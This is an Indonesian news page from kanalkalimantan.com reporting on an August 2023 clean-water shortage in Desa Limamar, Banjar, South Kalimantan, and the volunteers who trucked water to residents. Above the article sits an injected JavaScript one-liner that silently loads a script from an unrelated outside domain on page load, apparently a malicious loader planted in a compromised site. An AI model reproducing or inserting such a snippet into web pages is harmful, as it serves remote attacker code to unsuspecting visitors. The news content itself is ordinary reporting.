(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Krisis air bersih tak hanya dirasakan warga lima komplek di jalan Tembikar Kanan, Kecamatan Kertak Hanyar, kondisi serupa juga dirasakan warga Desa Limamar, Kecamatan Astambul Kabupaten Banjar, Kalsel.
Sudah sekitar dua bulan lamanya warga tak merasakan akses air bersih akibat menyusutnya sumber air sumur gali dan keringnya sungai.
Seperti yang terlihat di jalan Syekh Muhammad Arsyad Al Banjari RT 03 Desa Limamar, Jumat (4/8/2023) malam.
Sejak sore hari warga sudah berbondong-bondong membawa sejumlah ember, jirigen dan wadah yang bisa menampung air menunggu kedatangan air bersih yang dibawa oleh relawan gabungan.
Baca juga: Catatan Ombudsman, PTAM Intan Banjar Banjiri Keluhan Pelanggan
Warga Desa Limamar, Kecamatan Astambul, Kabupaten Banjar menunggu bantuan air bersih saat mengalami krisis air akibat kemarau. Foto: ebr untuk kanalkalimantan
Baca juga: Tuntutan Air Lancar Warga Lima Komplek di Kertak Hanyar, Buka Kran Keluar ‘Air Mata’
Belasan jirigen, ember hingga galon dibawa warga memenuhi ruas jalan, berjejer menunggu datangnya suplai air bersih.
“Sudah seminggu tidak bisa mencuci piring karena sumurnya kering,” ucap salah seorang perempuan paruh baya warga Desa Limamar.
Dengan membawa satu truk tangki air dan tiga buah toren air, relawan gabungan dengan datang memasok bantuan air bersih kepada warga RT 03 Desa Limamar.
Ketua Relawan Emergency Banjar Respon (EBR) Saduddin mengatakan, mereka datang memenuhi permintaan warga yang membutuhkan bantuan air bersih.
“Kebetulan kemarin kita usai melalukan kegiatan Jumat Berkah di desa itu dan ada pemintaan warga kita langsung siapkan, langsung berangkat,” kata relawan yang kerap disapa Duddin itu.
Usai kegiatan Jumat Berkah tersebut, warga menyampaikan informasi bahwa mereka tengah dilanda kekeringan dan krisis air bersih dampak dari musim kemarau.
“Warga menginformasikan dampak dari musim kemarau ini sumur mereka jadi kering, sampai dengan untuk berwudhu di masjid saja tidak memiliki air kata mereka,” sebut dia.
Tanpa pikir panjang, Duddin pun langsung bergegas mengerahkan seluruh tim relawan guna membantu menyalurkan air bersih ini kepada warga desa.
Baca juga:Â Diadang Emak-emak Gegara Air Tak Ngalir, Dirut PTAM Intan Banjar Tawarkan Mobil Tanki
Warga Desa Limamar, Kecamatan Astambul, Kabupaten Banjar menerima bantuan air bersih saat krisis air akibat kemarau. Foto: ebr untuk kanalkalimantan
Pada malam harinya bersama dengan relawan, warga berbondong-bondong mengisi air bersih ke masing-masing wadah yang mereka bawa.
Relawan mengatakan akan selalu siap memberikan bantuan pengiriman air bersih kepada warga, kapan pun mereka membutuhkannya.
“Mudah-mudahan bisa terus membantu,” tutup Duddin. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.